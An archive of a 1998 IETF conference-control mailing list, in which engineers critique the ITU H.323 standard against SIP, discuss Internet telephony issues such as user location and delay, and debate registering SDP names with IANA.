Precedence: bulk


In message <004401bd0753$8cfb4780$010101c8@pent150>, Michael Benson typed:

 >>I have deep concerns about the ITU's H.323 standards for Internet Telephony
 >>versus open standards.  

ok - having read over the H.323 family of standards documents (thanks
to picturetel for online copies) at some length again, I have to
agree.

1/
It seems that H.323 is aimed (along with all the other H series) at 
extending the ISDN _videoconferencing_ standards on to unreliable packet 
LANs, but it is 
i) NOT aimed at solving the scaling problems of WAN Internet 
ii) has a large amount of baggage associated with interworking with
many other standards - particularl selection and control of
multiplexing
iii) is for conferencing not telephony
iv) doesn;t appear to have a clean call control model
2/
It seems that session advertisement, invitation, address allocation,
multiplexing (such as it is in rtp), rtt estimation, and many other
functions are already addressed, both for telephony and for
conferdcning in the "pure" Internet 'standards' work.....

A core piece we might learn from is the conference control
fucntionality in H.245 part of the standards IFF it were expressed in
a way that would tell us how to actually implement it in a scalable
way, but it isn't.

[main value we gain from ITU work at the moment I see as coding -
basically link level framing and application level media coding and
 compression standards...]

So I am left with the feeling that we should proceed with "our own"
and then specify interworking - why start with something that is
primarily targetted at talking to gateways to ISDN? why not start iwth
a core WAN Internet conf/call control protocol, and then see what a
parsimonious design for a gateway would really look like?

see 
http://www.cs.columbia.edu/~hgs/sip/
where
there's a link to h.323 v. sip discussion
for some excellent dissection of the packet exchanges - it seems clear
to me that the Q931/Q932 stubs, the RAS and other phases are
completely unnecessary in most conferences, and that we can specify
some equivalent functions (actually, the Q931/2 are partly implicit in
any reliable conf control transport protocol, and for media streams i
RSVP or other signaling), many of trhe RAS functions could be done by
simple use of SAP/SIP, and the rest is dealt with mostly by RTP/RTCP -
if this works, then the gateway can map these (largely implicit)
functions to H.323 (or 320/321/322) as needed.....


 cheers

   jon


From confctrl-owner  Thu Jan 22 06:35:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA28491
	for confctrl-outgoing; Thu, 22 Jan 1998 06:35:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA28486
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jan 1998 06:35:36 -0800 (PST)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23156
	for <confctrl@isi.edu>; Thu, 22 Jan 1998 06:35:35 -0800 (PST)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id JAA07912;
	Thu, 22 Jan 1998 09:35:03 -0500 (EST)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id JAA04751;
	Thu, 22 Jan 1998 09:35:02 -0500 (EST)
Date: Thu, 22 Jan 1998 09:35:02 -0500 (EST)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980122093501.ZM4749@seawind.bellcore.com>
In-Reply-To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
        "Re: H.323" (Jan 22, 12:08pm)
References: <1527.885470898@cs.ucl.ac.uk>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>, Michael Benson <mbenson@gmu.edu>
Subject: Re: H.323
Cc: confctrl <confctrl@ISI.EDU>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jon is basically on target there.  The main problems with H.323 are:

1) That it is designed for interworking with H.320, i.e. videoconference
with ISDN, which mandates a two phase conection set-up: first build the
equivalent of an ISDN circuit, then negotiate how to mux channels on that
circuit.

2) That it is top heavy, in fact a monument of complexity.

The two phase set-up has very weird consequences when you try to
interconnect an H.323 terminal with a plain telephone through an Internet
telephony gateway.  Basically, at the end of the first phase (the
H.225/Q.931 layer of H.323), the phone call is set and the phone user
starts speaking and listening.  Yet, the H.323 user will not listen and
cannot speak until the H.245 negotiation has been completed -- on the
Internet, this may take a second or two.

Implementors of H.323 are trying to solve that problem by proposing
kludges.  One can for example start the negotiation of H.245 as soon as
the phone "starts ringing", without actually waiting for completion of the
Q.931 procedure.  This works if one solves the resulting synchronisation
problem, and cuts delays significantly.  But there is no guarantee that
all terminals support this non standard behavior.

Another kludge is proposed in the revision of H.225, basically allowing
Q.931 to carry a session description.  But then one will have to solve te
interaction between version 2 and version 1, which is made hard by the
next problem, the sheer complexity of the spec.

Connection set-up in H.323 requires three successive exchanges, for
H.225/RAS, H.225/Q.931 and H.245.  None of these protocols is simple.
 H.225 includes 15 pages of ASN.1, plus inclusion by reference of the
Q.931 specifications.  H.245 includes no less than 60 pages of ASN.1.
 Even if you use an ASN.1 compiler (and you really have to), you are left
with hundreds of parameters to set right if you want to interoperate.  The
chances that a programmer goofs up here or there are enormous; the problem
space is so large as to make it out of the reach of most testing
techniques.

Version 2 may include the faster call set-up procedure described above,
but it also includes tons of extensions, in fact a whole new additional
recommendation (H.450).  As with many ITU standards, the behemoth merely
gets fatter as it ages.

So, to conclude, I heartily support Jon's recommendation. We should
proceed with "our own" and then specify interworking.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Thu Jan 22 06:55:30 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA28807
	for confctrl-outgoing; Thu, 22 Jan 1998 06:55:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA28798
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jan 1998 06:55:29 -0800 (PST)
Received: from liberator.cit.cornell.edu (LIBERATOR.CIT.CORNELL.EDU [132.236.200.24])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA23732
	for <confctrl@ISI.EDU>; Thu, 22 Jan 1998 06:55:27 -0800 (PST)
Received: from liberator.cit.cornell.edu (LOCALHOST [127.0.0.1])
	by liberator.cit.cornell.edu (8.8.8/8.8.8) with ESMTP id JAA26144;
	Thu, 22 Jan 1998 09:52:51 -0500 (EST)
	(envelope-from shore@liberator.cit.cornell.edu)
Message-Id: <199801221452.JAA26144@liberator.cit.cornell.edu>
To: Christian Huitema <huitema@bellcore.com>
cc: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>, Michael Benson <mbenson@gmu.edu>,
        confctrl <confctrl@ISI.EDU>
Subject: Re: H.323 
In-reply-to: Your message of "Thu, 22 Jan 1998 09:35:02 EST."
             <980122093501.ZM4749@seawind.bellcore.com> 
Date: Thu, 22 Jan 1998 09:52:50 -0500
From: Melinda Shore <shore@liberator.cit.cornell.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> The two phase set-up has very weird consequences when you try to
> interconnect an H.323 terminal with a plain telephone through an Internet
> telephony gateway.  Basically, at the end of the first phase (the
> H.225/Q.931 layer of H.323), the phone call is set and the phone user
> starts speaking and listening.  Yet, the H.323 user will not listen and
> cannot speak until the H.245 negotiation has been completed -- on the
> Internet, this may take a second or two.

You've got similar problems with SIP, where the remote terminal
can be "alerting" but the connection might not be
established because of lack of resources - again, this is
particularly a vulnerability in PSTN gateways, or any other
scenario in which you're making use of expensive, scarce, or
tightly controlled resources.  Note that this isn't an
argument against SIP, but rather that it's going to need
some tweaking to make it more general.

Melinda Shore
Lead Network Systems Programmer
Cornell Information Technologies
shore@nr-atp.cit.cornell.edu

From confctrl-owner  Thu Jan 22 09:15:09 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA05173
	for confctrl-outgoing; Thu, 22 Jan 1998 09:15:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA05163
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jan 1998 09:15:07 -0800 (PST)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29808
	for <confctrl@isi.edu>; Thu, 22 Jan 1998 09:15:05 -0800 (PST)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id MAA15023;
	Thu, 22 Jan 1998 12:14:30 -0500 (EST)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id MAA04831;
	Thu, 22 Jan 1998 12:14:30 -0500 (EST)
Date: Thu, 22 Jan 1998 12:14:30 -0500 (EST)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980122121429.ZM4829@seawind.bellcore.com>
In-Reply-To: Melinda Shore <shore@liberator.cit.cornell.edu>
        "Re: H.323" (Jan 22,  9:52am)
References: <199801221452.JAA26144@liberator.cit.cornell.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Melinda Shore <shore@liberator.cit.cornell.edu>
Subject: Re: H.323
Cc: confctrl <confctrl@ISI.EDU>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Jan 22,  9:52am, Melinda Shore wrote:
> Subject: Re: H.323
> > The two phase set-up has very weird consequences when you try to
> > interconnect an H.323 terminal with a plain telephone through an
Internet
> > telephony gateway.  Basically, at the end of the first phase (the
> > H.225/Q.931 layer of H.323), the phone call is set and the phone user
> > starts speaking and listening.  Yet, the H.323 user will not listen
and
> > cannot speak until the H.245 negotiation has been completed -- on the
> > Internet, this may take a second or two.
>
> You've got similar problems with SIP, where the remote terminal
> can be "alerting" but the connection might not be
> established because of lack of resources - again, this is
> particularly a vulnerability in PSTN gateways, or any other
> scenario in which you're making use of expensive, scarce, or
> tightly controlled resources.

This is similar, but however somewhat different in nature, because the
invitation carries the SDP description of the session.  The station that
receives the invitation can check and even reserve the resources before
even ringing -- this is indeed what is done on the PSTN today.

Also there is no question that all resources have been allocated by the
time an acceptation is received (200 OK), which means that one can safely
map the 200 OK message to, for example, an ISUP circuit completion message
(ANM).

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Thu Jan 22 09:43:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA07979
	for confctrl-outgoing; Thu, 22 Jan 1998 09:43:34 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA07969
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jan 1998 09:43:32 -0800 (PST)
Received: from boxtop.com (onetwentyseven133.metawire.com [204.80.127.133])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA02205
	for <confctrl@ISI.EDU>; Thu, 22 Jan 1998 09:43:30 -0800 (PST)
Received: from [204.80.124.68] by boxtop.com (SMI-8.6/SMI-SVR4)
	id JAA03892; Thu, 22 Jan 1998 09:43:00 -0800
X-Sender: tdorcey@mail.boxtop.com
Message-Id: <v03102804b0ebe026370d@[204.80.124.68]>
In-Reply-To: <980122093501.ZM4749@seawind.bellcore.com>
References: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>        "Re: H.323"
 (Jan 22, 12:08pm) <1527.885470898@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 21 Jan 1998 10:41:21 -0700
To: confctrl <confctrl@ISI.EDU>
From: Tim Dorcey <tdorcey@boxtop.com>
Subject: Re: H.323
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I agree with the criticism of H.323.  There is little reason to expect a
direct derivative of a standard that was introduced in 1990 to standardize
the design of special purpose hardware for videoconferencing over
circuit-switched telephone networks to be a good guide to the 1998 design
of software that runs on general purpose desktop computers connected by a
best-effort packet-switched data network.  The contexts are fundamentally
different.  With H.323 you get all of the disadvantages of a lossy packet
switched network, with none of the advantages (except low cost).

Tim



From confctrl-owner  Thu Jan 22 11:19:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA13673
	for confctrl-outgoing; Thu, 22 Jan 1998 11:19:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA13644
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jan 1998 11:19:16 -0800 (PST)
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA09850;
	Thu, 22 Jan 1998 11:19:09 -0800 (PST)
Received: from oak.precept.com (oak.precept.com [204.162.116.21])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id LAA27197;
	Thu, 22 Jan 1998 11:18:38 -0800 (PST)
Date: Thu, 22 Jan 1998 11:18:14 -0800 (Pacific Standard Time)
From: Stephen Casner <casner@precept.com>
To: Mark Handley <mjh@ISI.EDU>
cc: confctrl@ISI.EDU
Subject: Re: Registering SDP names with IANA
In-Reply-To: <12820.885419696@north.lcs.mit.edu>
Message-ID: <Pine.WNT.3.96.980122104659.-4049731C-100000@oak.precept.com>
X-X-Sender: casner@big-bear.precept.com
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> There are five field names that	may be registered with IANA.  Using  the
> terminology  in	 the  SDP  specification BNF, they are "media",	"proto",
> "fmt", "att-field" and "bwtype".

> "proto"
> 
>     In general this should be an IETF standards-track transport	protocol
>     identifier such as RTP/AVP (rfc 1889 under the rfc 1890 profile).

We need to allow for the definition of additional RTP profiles.
Initially, the SDP spec itself was the only place that "AVP" string
was defined, but the new draft to revise RFC1890 gives itself the name
"RTP/AVP".  The name really is used by SDP (or other session
description methods) and not by the profile; is it reasonable to
require that all RTP profiles give themselves names for use in SDP
(that is, should the section of the RTP spec that gives guidelines for
profiles require that profiles name themselves)?  I assume that the
registration of these names is still in the SDP "proto" namespace.

> "fmt"
> 
>     For	RTP formats that have been assigned static  payload  types,  the
>     payload  type  number is used.  For	RTP formats using a dynamic pay-
>     load type number, the dynamic payload type number is  given	 as  the
>     format and an additional "rtpmap" attribute	specifies the format and
>     parameters.

I think the SDP spec need another sentence, perhaps in the body rather
than this appendings, stating explicitly where the values for the
<encoding name> field of the rtpmap attribute are registered.  This is
a current topic of significance for the AVT working group, and I
believe we are heading in the direction of using (a transformation of)
MIME type registrations.  I guess it would make sense for the SDP spec
to refer responsibility for these <encoding name> registrations to the
RTP profile; and I think the SDP spec needs another sentence to say
that more explicitly that the present text describing rtpmap does.
The RTP profile may subsequently refer these registrations to MIME in
a way that we need to still work out.

> "att-field" (Attribute names)
> 
>     Attribute field names MAY be registered with IANA, although	this  is
>     not	compulsory, and	unknown	attributes are simply ignored.

Wouldn't it be a good idea to say that unregistered attributes should
begin with "x-" as the text does for experimental encoding names?
This is to avoid a clash with future IANA registrations of attributes
(with the obvious implication that IANA won't register any attribute
beginning with "x-").
							-- Steve


From confctrl-owner  Thu Jan 22 11:32:24 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA15017
	for confctrl-outgoing; Thu, 22 Jan 1998 11:32:24 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA15012
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jan 1998 11:32:23 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA10918
	for <confctrl@ISI.EDU>; Thu, 22 Jan 1998 11:32:21 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id OAA15184; Thu, 22 Jan 1998 14:32:18 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Stephen Casner <casner@precept.com>
cc: confctrl@ISI.EDU
Subject: Re: Registering SDP names with IANA 
In-reply-to: Your message of "Thu, 22 Jan 1998 11:18:14 PST."
             <Pine.WNT.3.96.980122104659.-4049731C-100000@oak.precept.com> 
Date: Thu, 22 Jan 1998 14:32:18 -0500
Message-ID: <15182.885497538@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> "proto"
>> 
>>     In general this should be an IETF standards-track transport	protoco
>>     identifier such as RTP/AVP (rfc 1889 under the rfc 1890 profile).
>
>We need to allow for the definition of additional RTP profiles.
>Initially, the SDP spec itself was the only place that "AVP" string
>was defined, but the new draft to revise RFC1890 gives itself the name
>"RTP/AVP".  The name really is used by SDP (or other session
>description methods) and not by the profile; is it reasonable to
>require that all RTP profiles give themselves names for use in SDP
>(that is, should the section of the RTP spec that gives guidelines for
>profiles require that profiles name themselves)?  I assume that the
>registration of these names is still in the SDP "proto" namespace.

Yes, I believe it's reasonable to expect new RTP profiles to do this.
If a new profile is ever written, we'd expect them to register the
profile name with IANA in the SDP proto namespace.

>> "fmt"
>> 
>>     For	RTP formats that have been assigned static  payload  types,  th
>>     payload  type  number is used.  For	RTP formats using a dynamic pay
>>     load type number, the dynamic payload type number is  given	 as  th
>>     format and an additional "rtpmap" attribute	specifies the format an
>>     parameters.
>
>I think the SDP spec need another sentence, perhaps in the body rather
>than this appendings, stating explicitly where the values for the
><encoding name> field of the rtpmap attribute are registered.  This is
>a current topic of significance for the AVT working group, and I
>believe we are heading in the direction of using (a transformation of)
>MIME type registrations.  I guess it would make sense for the SDP spec
>to refer responsibility for these <encoding name> registrations to the
>RTP profile; and I think the SDP spec needs another sentence to say
>that more explicitly that the present text describing rtpmap does.
>The RTP profile may subsequently refer these registrations to MIME in
>a way that we need to still work out.

Yes, I agree with you that this is an RTP issue.  What I don't have
is anything I can refer people to regarding the RTP payload type
namespace, which is why this is simply left unsaid right now.  Unless
you have a good suggestion for such a wording that I can add to the
SDP draft, I was proposing not to say anything.  It's certainly not
under the SDP namespace, and SDP can't afford to wait for a new RTP
RFC.

>> "att-field" (Attribute names)
>> 
>>     Attribute field names MAY be registered with IANA, although	this  i
>>     not	compulsory, and	unknown	attributes are simply ignored.
>
>Wouldn't it be a good idea to say that unregistered attributes should
>begin with "x-" as the text does for experimental encoding names?
>This is to avoid a clash with future IANA registrations of attributes
>(with the obvious implication that IANA won't register any attribute
>beginning with "x-").

Yes, Steve Hanna also sugggested this, and I've added it to the draft.

Cheers,
	Mark


From confctrl-owner  Thu Jan 22 19:39:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA18019
	for confctrl-outgoing; Thu, 22 Jan 1998 19:39:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA18014
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jan 1998 19:39:04 -0800 (PST)
Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA05335
	for <confctrl@ISI.EDU>; Thu, 22 Jan 1998 19:39:00 -0800 (PST)
From: Masataka Ohta <mohta@necom830.hpcl.titech.ac.jp>
Message-Id: <199801230331.MAA00412@necom830.hpcl.titech.ac.jp>
Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1)
	id MAA00412; Fri, 23 Jan 1998 12:31:09 +0900
Subject: Re: H.323
To: J.Crowcroft@cs.ucl.ac.uk (Jon Crowcroft)
Date: Fri, 23 Jan 98 12:31:08 JST
Cc: mbenson@gmu.edu, confctrl@ISI.EDU
In-Reply-To: <1527.885470898@cs.ucl.ac.uk>; from "Jon Crowcroft" at Jan 22, 98 12:08 pm
X-Mailer: ELM [version 2.3 PL11]
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jon;

I'm a little bit confused.

> So I am left with the feeling that we should proceed with "our own"
> and then specify interworking - why start with something that is
> primarily targetted at talking to gateways to ISDN? why not start iwth
> a core WAN Internet conf/call control protocol, and then see what a
> parsimonious design for a gateway would really look like?

ISDN?

Why don't we start with something that is primarily targetted
at talking to gateways to analog POTS?

A core WAN Internet conf control protocol seems to be too comlex
to start with.

							Masataka Ohta

From confctrl-owner  Fri Jan 23 05:20:35 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA25825
	for confctrl-outgoing; Fri, 23 Jan 1998 05:20:35 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA25820
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jan 1998 05:20:34 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id FAA26912
	for <confctrl@isi.edu>; Fri, 23 Jan 1998 05:20:22 -0800 (PST)
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.21297-0@bells.cs.ucl.ac.uk>; Fri, 23 Jan 1998 13:20:05 +0000
To: Christian Huitema <huitema@bellcore.com>
cc: confctrl <confctrl@ISI.EDU>
Subject: Re: H.323
In-reply-to: Your message of "Thu, 22 Jan 1998 09:35:02 EST." <980122093501.ZM4749@seawind.bellcore.com>
Date: Fri, 23 Jan 1998 13:20:04 +0000
Message-ID: <2075.885561604@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <980122093501.ZM4749@seawind.bellcore.com>, Christian Huitema typed:

 >>Jon is basically on target there.  The main problems with H.323 are:
 


to be fair to H.323, the problems with Internet Telephony are
1/ we don't have a call routing protocol which includes provider
selection
2/ if you include phases
i) server location including
ii) lookup user in directory - LDAP - get sip id (needed to get real
"number portability", for sip ids ...can't just have
j.smith@anyphone.org 
since there's quite a few j.smiths...
iii) lookup sip id in DNS and get IP address
iv) make sip invite
v) do RSVP (or similar)

3/ we need to use premium services somehow, whichneeds them to be
deployed - where not, we need someone to figure out a charge/refund
model that maps RTCP RR loss data onto a refund (especially if the
call routes to a GSTN/POTS gateway)

4/ if we are interworking POTS and IP telephony, while we can be smart
about echo in the packet net and tolerate 400msec delays (or 200 +/-
100ms with adaptive playout set to 400ms)  then we need to route via a
the poor legacy POTS perdson's half of the call via
an echo cancllor port on an exchange...
echo cancellor ports might be (are) a scarce resource  c.f. satellite
calls...

5/ how to transcode from some of the smarter
IP loss tolerant codings to PCM
and then straight into the D2A port on an exchange (or onto an ISDN
call) is easyish...but there's quality degradation sometimes - might
be refunds needed.. again....

to set a level playing field betweein voice on IP access ISP
providers, voice on IP backbone providers, telcos who are also IP
providers, and the pure pots providers is slightly difficult

etc etc....

j.


From confctrl-owner  Fri Jan 23 06:23:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA26712
	for confctrl-outgoing; Fri, 23 Jan 1998 06:23:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA26707
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jan 1998 06:23:25 -0800 (PST)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA21980
	for <confctrl@isi.edu>; Fri, 23 Jan 1998 06:23:24 -0800 (PST)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id JAA23006;
	Fri, 23 Jan 1998 09:22:52 -0500 (EST)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id JAA05455;
	Fri, 23 Jan 1998 09:22:51 -0500 (EST)
Date: Fri, 23 Jan 1998 09:22:51 -0500 (EST)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980123092251.ZM5453@seawind.bellcore.com>
In-Reply-To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
        "Re: H.323" (Jan 23,  1:20pm)
References: <2075.885561604@cs.ucl.ac.uk>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>,
        Christian Huitema <huitema@bellcore.com>
Subject: Re: H.323
Cc: confctrl <confctrl@ISI.EDU>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jon,

You are correct to note that we have problems that are independant of
the particular signalling protocol that one wishes to use.  User location
problem and transport quality problem, which you quote, and also 
the relation between phone numbers and Internet names and addresses,
which is currently on the SIPTEL charter.

At first sight, user location problems are no different from what we are
already doing with e-mail, and I don't see why we could not follow the
very same model -- albeit not necessarily with the very same identifiers.
Doing a full fledge directory search before each call looks like overkill.
You don't do it for e-mail, and you also don't do it for mobile telephony.
You do perform a database access, very similar to a DNS look-up, but that
is another matter.  SIP is designed to embed that functionality; H.323/RAS
features a "location request" primitive that can also achieve this result.
The difference is that in the SIP case the resolution is "embedded", i.e.
can be performed during call set-up, while in the RAS case it is yet
another transaction.

Whether we need RSVP or something else is another matter entirely.
Frankly, I don't predict much success for Internet telephony if the 
transmission delay cannot be brought down to something like 100 or maybe
150 milliseconds.  This implies major infrastructure development, and
also some revision of unnecessary sources of delays in the current
architecture, for example queues that are allowed to become very large
for no good reason (OK, there maybe a good reason), or route management
algorithm that flush the cache every 30 seconds, or whatever has cropped
in releases and releases of software in hosts, routers and switches. In
any case, this will not be done in the Conctrl, or Siptel, groups.

On the other hand, good quality transmission may require access to some
premium backbones.  That access will very likely be gated.  The session
control protocols will have to take this gating into account.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Fri Jan 23 06:31:23 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA26886
	for confctrl-outgoing; Fri, 23 Jan 1998 06:31:23 -0800 (PST)
Received: from quark.isi.edu (quark.isi.edu [128.9.208.208])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA26881
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jan 1998 06:31:22 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by quark.isi.edu (8.8.7/8.8.6) with SMTP id GAA27134
	for <confctrl@isi.edu>; Fri, 23 Jan 1998 06:31:19 -0800 (PST)
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.26276-0@bells.cs.ucl.ac.uk>; Fri, 23 Jan 1998 14:30:01 +0000
To: Christian Huitema <huitema@bellcore.com>
cc: confctrl <confctrl@ISI.EDU>
Subject: Re: H.323
In-reply-to: Your message of "Fri, 23 Jan 1998 09:22:51 EST." <980123092251.ZM5453@seawind.bellcore.com>
Date: Fri, 23 Jan 1998 14:29:59 +0000
Message-ID: <2297.885565799@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <980123092251.ZM5453@seawind.bellcore.com>, Christian Huitema typed:

 >>Whether we need RSVP or something else is another matter entirely.

sure - i didn't want to get into the int-serv/diff-serv debate again
(here or elsewhere) but i think its clear (c.f. some of henning's
other excellent online notes) that preimum service or very simple
approaches based on subscription and seperate overlays/backbones and
many other appriaches can, and will be used by ISPs to do toll quality
voice transport provisioning

 >>Frankly, I don't predict much success for Internet telephony if the 
 >>transmission delay cannot be brought down to something like 100 or maybe
 >>150 milliseconds.  This implies major infrastructure development, and
 >>also some revision of unnecessary sources of delays in the current
 >>architecture, for example queues that are allowed to become very large
 >>for no good reason (OK, there maybe a good reason), or route management
 >>algorithm that flush the cache every 30 seconds, or whatever has cropped
 >>in releases and releases of software in hosts, routers and switches. In
 >>any case, this will not be done in the Conctrl, or Siptel, groups.

sure...agree

 
 >>On the other hand, good quality transmission may require access to some
 >>premium backbones.  That access will very likely be gated.  The session
 >>control protocols will have to take this gating into account.

right.....

 cheers

   jon


From confctrl-owner  Fri Jan 23 08:34:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA01932
	for confctrl-outgoing; Fri, 23 Jan 1998 08:34:05 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA01926
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jan 1998 08:34:03 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA26591
	for <confctrl@ISI.EDU>; Fri, 23 Jan 1998 08:34:02 -0800 (PST)
Received: from peerless.dnrc.bell-labs.com ([135.180.8.3]) by dirty; Fri Jan 23 11:33:31 EST 1998
